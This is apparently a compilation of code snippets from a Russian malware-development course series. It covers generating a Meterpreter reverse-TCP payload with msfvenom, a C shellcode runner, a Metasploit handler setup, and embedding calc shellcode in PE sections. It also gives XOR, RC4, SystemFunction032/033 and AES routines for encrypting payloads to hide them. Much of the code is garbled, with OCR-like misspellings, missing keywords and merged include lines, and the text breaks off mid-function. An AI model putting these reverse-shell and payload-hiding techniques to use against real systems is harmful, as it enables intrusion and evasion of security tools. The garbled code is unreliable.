Цикл статей "Изучение вредоносных программ"

// Allocating а memory buffer 100 bytes

// Method 1 — Using malloc()
PVOID pAddress = malloc(100);

// Method 2 — Using НеарА11ос ()
PVOID pAddress = HeapAlloc (GetProcessHeap (), 0, 100);

// Method 3 — Using LocalAlloc ()
PVOID pAddress = LocalAlloc(LPTR, 100);

PVOID pAddress = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, 100);
CHAR* cString = "Malware Academy Is The Best";

memcpy (pAddress, cString, strlen(cString));

sudo apt-get update
sudo apt-get install metasploit-framework

msvenom --help

msvenom -p windows/meterpreter/reverse_tcp LHOST=ваш_ип LPORT=4444 -f c

unsigned char buf[] =
"\x00\x00\x00..."; // здесь будет ваш шеллкод

int main(int argc, char **argv) {
    void (*func)();
    func = (void (*)()) buf;
    func();
    return 0;
}

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST ваш_ип
set LPORT 4444
run

sessions -i номер_сессии

sessions -i 1

msvenom --list payloads

msvenom -p [payload] [options]

BOOL APIENTRY D11Main(
HANDLE hModule, // Handle to DLL module
DWORD ul_reason_for_call, // Reason for calling function
LEVOID lpReserwved // Reserved
)
{
switch (ul_reason_for_call)

case DLL_PROCESS_ATTACH: //Load to process
// Do something here
break;

DLL_THREAD_ATTACH: // A a new thread.
// Do socmething here
break;

case DLL_THREAD_DETACH // А thread exits normally.
// Do something here
break;

case DLL_PROCESS_DETACH: // A process unloads the DLL.
// Do something here
break;

return TRUE;
}

extern _ declspec(dllexport) void HelloWorld() {
// Function code here
}

HMODULE hModule = LoadLibraryA("sampleDLL.d11"); // hMedule now contain sampleDLL.dll's handle

PVOID pHelloWorld = GetProcAddress(hModule, "HelloWorld");

typedef void (WINAPI* HelloWorldFunctionPointer) ();
HelloWorldFunctionPointer HelloWorld = (HelloWorldFunctionPointer)pHelloWorld;
HelloWorld();

typedef int (WINAPI* MessageBoxAFunctionPointer)(HWND, LPCSTR, LPCSTR, UINT);
MessageBoxAFunctionPointer pMessageBoxA = (MessageBoxAFunctionPointer)GetProcAddress(LoadLibrary("user32.dll"), "MessageBoxA");
if (pMessageBoxA) {
    pMessageBoxA(NULL, "Текст MessageBox", "Заголовок MessageBox", 0);
}

rundll32.exe <имя_dll>, <экспортированная функция для запуска>

typedef struct _PEB {
    BYTE Reserved1[2];
    BYTE BeingDebugged;
    BYTE Reserved2[1];
    PVOID Reserved3[2];
    PPEB_LDR_DATA Ldr;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID Reserved4[3];
    PVOID AtlThunkSListPtr;
    PVOID Reserved5;
    ULONG Reserved6;
    PVOID Reserved7;
    ULONG Reserved8;
    ULONG AtlThunkSListPtr32;
    PVOID Reserved9[45];
    BYTE Reserved10[96];
    PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
    BYTE Reserved11[128];
    PVOID Reserved12[1];
    ULONG SessionId;
} PEB, *PPEB;

typedef struct _PEB_LDR_DATA {
    BYTE Reserved1[8];
    PVOID Reserved2[3];
    LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    BYTE Reserved1[116];
    PVOID Reserved2[10];
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

typedef struct _TEB {
    PVOID Reserved1[12];
    PPEB ProcessEnvironmentBlock;
    PVOID Reserved2[399];
    BYTE Reserved3[1952];
    PVOID TlsSlots[64];
    BYTE Reserved4[8];
    PVOID Reserved5[26];
    PVOID ReservedForOle;
    PVOID Reserved6[4];
    PVOID TlsExpansionSlots;
} TEB, *PTEB;

#include <Windows.h>#include <stdio.h>// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .data saved payload
unsigned char Data_RawData[] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};

int main() {

    printf("[i] Data_RawData var : 0x%p \n", Data_RawData);
    printf("[#] Press <Enter> To Quit ...");
    getchar();
    return 0;
}

#include <Windows.h>#include <stdio.h>// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .rdata saved payload
const unsigned char Rdata_RawData[] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};

int main() {

    printf("[i] Rdata_RawData var : 0x%p \n", Rdata_RawData);
    printf("[#] Press <Enter> To Quit ...");
    getchar();
    return 0;
}

#include <Windows.h>#include <stdio.h>// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .text saved payload
#pragma section(".text")__declspec(allocate(".text")) const unsigned char Text_RawData[] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};

int main() {

    printf("[i] Text_RawData var : 0x%p \n", Text_RawData);
    printf("[#] Press <Enter> To Quit ...");
    getchar();
    return 0;
}

#include <Windows.h>#include <stdio.h>#include "resource.h"int main() {

    HRSRC        hRsrc                   = NULL;
    HGLOBAL        hGlobal                 = NULL;
    PVOID        pPayloadAddress         = NULL;
    SIZE_T        sPayloadSize            = NULL;


    // Get the location to the data stored in .rsrc by its id *IDR_RCDATA1*
    hRsrc = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);
    if (hRsrc == NULL) {
        // in case of function failure
        printf("[!] FindResourceW Failed With Error : %d \n", GetLastError());
        return -1;
    }

    // Get HGLOBAL, or the handle of the specified resource data since its required to call LockResource later
    hGlobal = LoadResource(NULL, hRsrc);
    if (hGlobal == NULL) {
        // in case of function failure
        printf("[!] LoadResource Failed With Error : %d \n", GetLastError());
        return -1;
    }

    // Get the address of our payload in .rsrc section
    pPayloadAddress = LockResource(hGlobal);
    if (pPayloadAddress == NULL) {
        // in case of function failure
        printf("[!] LockResource Failed With Error : %d \n", GetLastError());
        return -1;
    }

    // Get the size of our payload in .rsrc section
    sPayloadSize = SizeofResource(NULL, hRsrc);
    if (sPayloadSize == NULL) {
        // in case of function failure
        printf("[!] SizeofResource Failed With Error : %d \n", GetLastError());
        return -1;
    }

    // Printing pointer and size to the screen
    printf("[i] pPayloadAddress var : 0x%p \n", pPayloadAddress);
    printf("[i] sPayloadSize var : %ld \n", sPayloadSize);
    printf("[#] Press <Enter> To Quit ...");
    getchar();
    return 0;
}

// Allocating memory using a HeapAlloc call
PVOID pTmpBuffer = HeapAlloc(GetProcessHeap(), 0, sPayloadSize);
if (pTmpBuffer != NULL){
    // copying the payload from resource section to the new buffer
    memcpy(pTmpBuffer, pPayloadAddress, sPayloadSize);
}

// Printing the base address of our buffer (pTmpBuffer)
printf("[i] pTmpBuffer var : 0x%p \n", pTmpBuffer);

/*
    - pShellcode : Base address of the payload to encrypt
    - sShellcodeSize : The size of the payload
    - bKey : A single arbitrary byte representing the key for encrypting the payload
*/
VOID XorByOneKey(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN BYTE bKey) {
    for (size_t i = 0; i < sShellcodeSize; i++){
        pShellcode[i] = pShellcode[i] ^ bKey;
    }
}

/*
    - pShellcode : Базовый адрес полезной нагрузки для шифрования
    - sShellcodeSize : Размер полезной нагрузки
    - bKey : Один произвольный байт, представляющий ключ для шифрования полезной нагрузки
*/
VOID XorByiKeys(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN BYTE bKey) {
    for (size_t i = 0; i < sShellcodeSize; i++) {
        pShellcode[i] = pShellcode[i] ^ (bKey + i);
    }
}

/*
    - pShellcode : Базовый адрес полезной нагрузки для шифрования
    - sShellcodeSize : Размер полезной нагрузки
    - bKey : Случайный массив байтов определенного размера
    - sKeySize : Размер ключа
*/
VOID XorByInputKey(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN PBYTE bKey, IN SIZE_T sKeySize) {
    for (size_t i = 0, j = 0; i < sShellcodeSize; i++, j++) {
        if (j > sKeySize){
            j = 0;
        }
        pShellcode[i] = pShellcode[i] ^ bKey[j];
    }
}

typedef struct
{
    unsigned int i;
    unsigned int j;
    unsigned char s[256];

} Rc4Context;


void rc4Init(Rc4Context* context, const unsigned char* key, size_t length)
{
    unsigned int i;
    unsigned int j;
    unsigned char temp;

    // Check parameters
    if (context == NULL || key == NULL)
        return ERROR_INVALID_PARAMETER;

    // Clear context
    context->i = 0;
    context->j = 0;

    // Initialize the S array with identity permutation
    for (i = 0; i < 256; i++)
    {
        context->s[i] = i;
    }

    // S is then processed for 256 iterations
    for (i = 0, j = 0; i < 256; i++)
    {
        //Randomize the permutations using the supplied key
        j = (j + context->s[i] + key[i % length]) % 256;

        //Swap the values of S[i] and S[j]
        temp = context->s[i];
        context->s[i] = context->s[j];
        context->s[j] = temp;
    }

}


void rc4Cipher(Rc4Context* context, const unsigned char* input, unsigned char* output, size_t length){
    unsigned char temp;

    // Restore context
    unsigned int i = context->i;
    unsigned int j = context->j;
    unsigned char* s = context->s;

    // Encryption loop
    while (length > 0)
    {
        // Adjust indices
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;

        // Swap the values of S[i] and S[j]
        temp = s[i];
        s[i] = s[j];
        s[j] = temp;

        // Valid input and output?
        if (input != NULL && output != NULL)
        {
            //XOR the input data with the RC4 stream
            *output = *input ^ s[(s[i] + s[j]) % 256];

            //Increment data pointers
            input++;
            output++;
        }

        // Remaining bytes to process
        length--;
    }

    // Save context
    context->i = i;
    context->j = j;
}

    // Initialization
    Rc4Context ctx = { 0 };

    // Key used for encryption
    unsigned char* key = "ru-sfera.pw";
    rc4Init(&ctx, key, sizeof(key));

    // Encryption //
    // plaintext - The payload to be encrypted
    // ciphertext - A buffer that is used to store the outputted encrypted data
    rc4Cipher(&ctx, plaintext, ciphertext, sizeof(plaintext));

// Initialization
    Rc4Context ctx = { 0 };

    // Key used to decrypt
    unsigned char* key = "ru-sfera.pw";
    rc4Init(&ctx, key, sizeof(key));

    // Decryption //
    // ciphertext - Encrypted payload to be decrypted
    // plaintext - A buffer that is used to store the outputted plaintext data
    rc4Cipher(&ctx, ciphertext, plaintext, sizeof(ciphertext));

NTSTATUS SystemFunction032
(
 struct ustring* data,
const struct ustring* key
)

typedef struct
{
DWORD Length; // Размер данных для шифрования/дешифрования
DWORD MaximumLength; // Максимальный размер данных для шифрования/дешифрования
PVOID Buffer; // Базовый адрес данных для шифрования/дешифрования
} USTRING;

fnSystemFunction032 SystemFunction032 = (fnSystemFunction032) GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");

typedef NTSTATUS(NTAPI* fnSystemFunction032)(
struct USTRING* Data,   // Структура типа USTRING, содержащая информацию о буфере для шифрования/дешифрования
struct USTRING* Key     // Структура типа USTRING, содержащая информацию о ключе, используемом при шифровании/дешифровании
);

typedef struct
{
    DWORD    Length;
    DWORD    MaximumLength;
    PVOID    Buffer;

} USTRING;

typedef NTSTATUS(NTAPI* fnSystemFunction032)(
    struct USTRING* Data,
    struct USTRING* Key
);

/*
Helper function that calls SystemFunction032
* pRc4Key - The RC4 key use to encrypt/decrypt
* pPayloadData - The base address of the buffer to encrypt/decrypt
* dwRc4KeySize - Size of pRc4key (Param 1)
* sPayloadSize - Size of pPayloadData (Param 2)
*/
BOOL Rc4EncryptionViaSystemFunc032(IN PBYTE pRc4Key, IN PBYTE pPayloadData, IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {

    NTSTATUS STATUS    = NULL;

    USTRING Data = {
        .Buffer         = pPayloadData,
        .Length         = sPayloadSize,
        .MaximumLength  = sPayloadSize
    };

    USTRING    Key = {
        .Buffer         = pRc4Key,
        .Length         = dwRc4KeySize,
        .MaximumLength  = dwRc4KeySize
    },

    fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");

    if ((STATUS = SystemFunction032(&Data, &Key)) != 0x0) {
        printf("[!] SystemFunction032 FAILED With Error: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

typedef struct
{
    DWORD    Length;
    DWORD    MaximumLength;
    PVOID    Buffer;

} USTRING;


typedef NTSTATUS(NTAPI* fnSystemFunction033)(
    struct USTRING* Data,
    struct USTRING* Key
    );


/*
Helper function that calls SystemFunction033
* pRc4Key - The RC4 key use to encrypt/decrypt
* pPayloadData - The base address of the buffer to encrypt/decrypt
* dwRc4KeySize - Size of pRc4key (Param 1)
* sPayloadSize - Size of pPayloadData (Param 2)
*/
BOOL Rc4EncryptionViSystemFunc033(IN PBYTE pRc4Key, IN PBYTE pPayloadData, IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {

    NTSTATUS    STATUS = NULL;

    USTRING        Key = {
            .Buffer        = pRc4Key,
            .Length        = dwRc4KeySize,
            .MaximumLength = dwRc4KeySize
    };

    USTRING     Data = {
            .Buffer         = pPayloadData,
            .Length         = sPayloadSize,
            .MaximumLength  = sPayloadSize
    };

    fnSystemFunction033 SystemFunction033 = (fnSystemFunction033)GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction033");

    if ((STATUS = SystemFunction033(&Data, &Key)) != 0x0) {
        printf("[!] SystemFunction033 FAILED With Error: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

typedef struct _AES {
    PBYTE    pPlainText;         // базовый адрес исходного текста
    DWORD    dwPlainSize;        // размер исходного текста

    PBYTE    pCipherText;        // базовый адрес зашифрованных данных
    DWORD    dwCipherSize;       // его размер (может измениться относительно dwPlainSize, если было дополнение)

    PBYTE    pKey;               // 32-байтный ключ
    PBYTE    pIv;                // 16-байтный IV
} AES, *PAES;

// Функция-обертка для InstallAesEncryption, упрощающая процесс
BOOL SimpleEncryption(IN PVOID pPlainTextData, IN DWORD sPlainTextSize, IN PBYTE pKey, IN PBYTE pIv, OUT PVOID* pCipherTextData, OUT DWORD* sCipherTextSize) {
    if (pPlainTextData == NULL || sPlainTextSize == NULL || pKey == NULL || pIv == NULL)
        return FALSE;

    // Инициализация структуры
    AES Aes = {
        .pKey        = pKey,
        .pIv         = pIv,
        .pPlainText  = pPlainTextData,
        .dwPlainSize = sPlainTextSize
    };

    if (!InstallAesEncryption(&Aes)) {
        return FALSE;
    }

    // Сохранение вывода
    *pCipherTextData = Aes.pCipherText;
    *sCipherTextSize = Aes.dwCipherSize;

    return TRUE;
}

// Функция-обертка для InstallAesDecryption, упрощающая процесс
BOOL SimpleDecryption(IN PVOID pCipherTextData, IN DWORD sCipherTextSize, IN PBYTE pKey, IN PBYTE pIv, OUT PVOID* pPlainTextData, OUT DWORD* sPlainTextSize) {
    if (pCipherTextData == NULL || sCipherTextSize == NULL || pKey == NULL || pIv == NULL)
        return FALSE;

    // Инициализация структуры
    AES Aes = {
        .pKey          = pKey,
        .pIv           = pIv,
        .pCipherText   = pCipherTextData,
        .dwCipherSize  = sCipherTextSize
    };

    if (!InstallAesDecryption(&Aes)) {
        return FALSE;
    }

    // Сохранение вывода
    *pPlainTextData = Aes.pPlainText;
    *sPlainTextSize = Aes.dwPlainSize;

    return TRUE;
}

// The encryption implementation
BOOL InstallAesEncryption(PAES pAes) {

  BOOL                  bSTATE           = TRUE;
  BCRYPT_ALG_HANDLE     hAlgorithm       = NULL;
  BCRYPT_KEY_HANDLE     hKeyHandle       = NULL;

  ULONG               cbResult         = NULL;
  DWORD               dwBlockSize      = NULL;

  DWORD               cbKeyObject      = NULL;
  PBYTE               pbKeyObject      = NULL;

  PBYTE              pbCipherText     = NULL;
  DWORD               cbCipherText     = NULL,


  // Intializing "hAlgorithm" as AES algorithm Handle
  STATUS = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, NULL, 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptOpenAlgorithmProvider Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Getting the size of the key object variable pbKeyObject. This is used by the BCryptGenerateSymmetricKey function later
  STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_OBJECT_LENGTH, (PBYTE)&cbKeyObject, sizeof(DWORD), &cbResult, 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptGetProperty[1] Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Getting the size of the block used in the encryption. Since this is AES it must be 16 bytes.
  STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_BLOCK_LENGTH, (PBYTE)&dwBlockSize, sizeof(DWORD), &cbResult, 0);
  if (!NT_SUCCESS(STATUS)) {
       printf("[!] BCryptGetProperty[2] Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Checking if block size is 16 bytes
  if (dwBlockSize != 16) {
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Allocating memory for the key object
  pbKeyObject = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbKeyObject);
  if (pbKeyObject == NULL) {
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Setting Block Cipher Mode to CBC. This uses a 32 byte key and a 16 byte IV.
  STATUS = BCryptSetProperty(hAlgorithm, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptSetProperty Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Generating the key object from the AES key "pAes->pKey". The output will be saved in pbKeyObject and will be of size cbKeyObject
  STATUS = BCryptGenerateSymmetricKey(hAlgorithm, &hKeyHandle, pbKeyObject, cbKeyObject, (PBYTE)pAes->pKey, KEYSIZE, 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptGenerateSymmetricKey Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Running BCryptEncrypt first time with NULL output parameters to retrieve the size of the output buffer which is saved in cbCipherText
  STATUS = BCryptEncrypt(hKeyHandle, (PUCHAR)pAes->pPlainText, (ULONG)pAes->dwPlainSize, NULL, pAes->pIv, IVSIZE, NULL, 0, &cbCipherText, BCRYPT_BLOCK_PADDING);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptEncrypt[1] Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Allocating enough memory for the output buffer, cbCipherText
  pbCipherText = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbCipherText);
  if (pbCipherText == NULL) {
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Running BCryptEncrypt again with pbCipherText as the output buffer
  STATUS = BCryptEncrypt(hKeyHandle, (PUCHAR)pAes->pPlainText, (ULONG)pAes->dwPlainSize, NULL, pAes->pIv, IVSIZE, pbCipherText, cbCipherText, &cbResult, BCRYPT_BLOCK_PADDING);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptEncrypt[2] Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }


  // Clean up
_EndOfFunc:
  if (hKeyHandle)
        BCryptDestroyKey(hKeyHandle);
  if (hAlgorithm)
        BCryptCloseAlgorithmProvider(hAlgorithm, 0);
  if (pbKeyObject)
        HeapFree(GetProcessHeap(), 0, pbKeyObject);
  if (pbCipherText != NULL && bSTATE) {
        // If everything worked, save pbCipherText and cbCipherText
        pAes->pCipherText     = pbCipherText;
        pAes->dwCipherSize     = cbCipherText;
  }
  return bSTATE;
}

// The decryption implementation
BOOL InstallAesDecryption(PAES pAes) {

  BOOL                  bSTATE          = TRUE;
  BCRYPT_ALG_HANDLE     hAlgorithm      = NULL;
  BCRYPT_KEY_HANDLE     hKeyHandle      = NULL;

  ULONG                 cbResult        = NULL;
  DWORD                 dwBlockSize     = NULL;

  DWORD                 cbKeyObject     = NULL;
  PBYTE                 pbKeyObject     = NULL;

  PBYTE                 pbPlainText     = NULL;
  DWORD                 cbPlainText     = NULL,

  // Intializing "hAlgorithm" as AES algorithm Handle
  STATUS = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, NULL, 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptOpenAlgorithmProvider Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Getting the size of the key object variable pbKeyObject. This is used by the BCryptGenerateSymmetricKey function later
  STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_OBJECT_LENGTH, (PBYTE)&cbKeyObject, sizeof(DWORD), &cbResult, 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptGetProperty[1] Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Getting the size of the block used in the encryption. Since this is AES it should be 16 bytes.
